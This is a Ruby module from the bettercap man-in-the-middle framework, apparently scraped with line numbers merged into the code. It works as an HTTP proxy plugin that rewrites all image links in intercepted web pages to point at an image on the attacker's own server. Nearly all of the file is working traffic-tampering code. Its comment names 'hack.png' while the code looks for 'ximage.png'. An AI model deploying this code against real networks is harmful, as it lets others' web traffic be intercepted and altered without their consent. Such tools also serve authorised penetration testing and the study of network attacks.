Path: blob/master/tools/bettercap/modules/replace_images.rb
527 views
1=begin2BETTERCAP3Author : Simone 'evilsocket' Margaritelli4Email : [email protected]5Blog : http://www.evilsocket.net/6This project is released under the GPL 3 license.7=end89# This module requires the --httpd argument being passed10# to bettercap and the --httpd-path pointing to a folder11# which contains a "hack.png" image.12class ReplaceImages < BetterCap::Proxy::HTTP::Module13meta(14'Name' => 'ReplaceImages',15'Description' => 'Replace all images on web pages.',16'Version' => '1.0.0',17'Author' => "Simone 'evilsocket' Margaritelli",18'License' => 'GPL3'19)2021def initialize22opts = BetterCap::Context.get.options.servers23# make sure the server is running24raise BetterCap::Error, "The ReplaceImages proxy module needs the HTTPD ( --httpd argument ) running." unless opts.httpd25# make sure the file we need actually exists26raise BetterCap::Error, "No ximage.png file found in the HTTPD path ( --httpd-path argument ) '#{opts.httpd_path}'" \27unless File.exist? "#{opts.httpd_path}/ximage.png"2829@image_url = "\"http://#{BetterCap::Context.get.iface.ip}:#{opts.httpd_port}/ximage.png\""30end3132def on_request( request, response )33# is it a html page?34if response.content_type =~ /^text\/html.*/35BetterCap::Logger.info "Replacing http://#{request.host}#{request.path} images."3637response.body.gsub! %r/["'][https:\/\/]*[^\s]+\.(png|jpg|jpeg|bmp|gif|webp|svg)["']/i, @image_url38end39end40end414243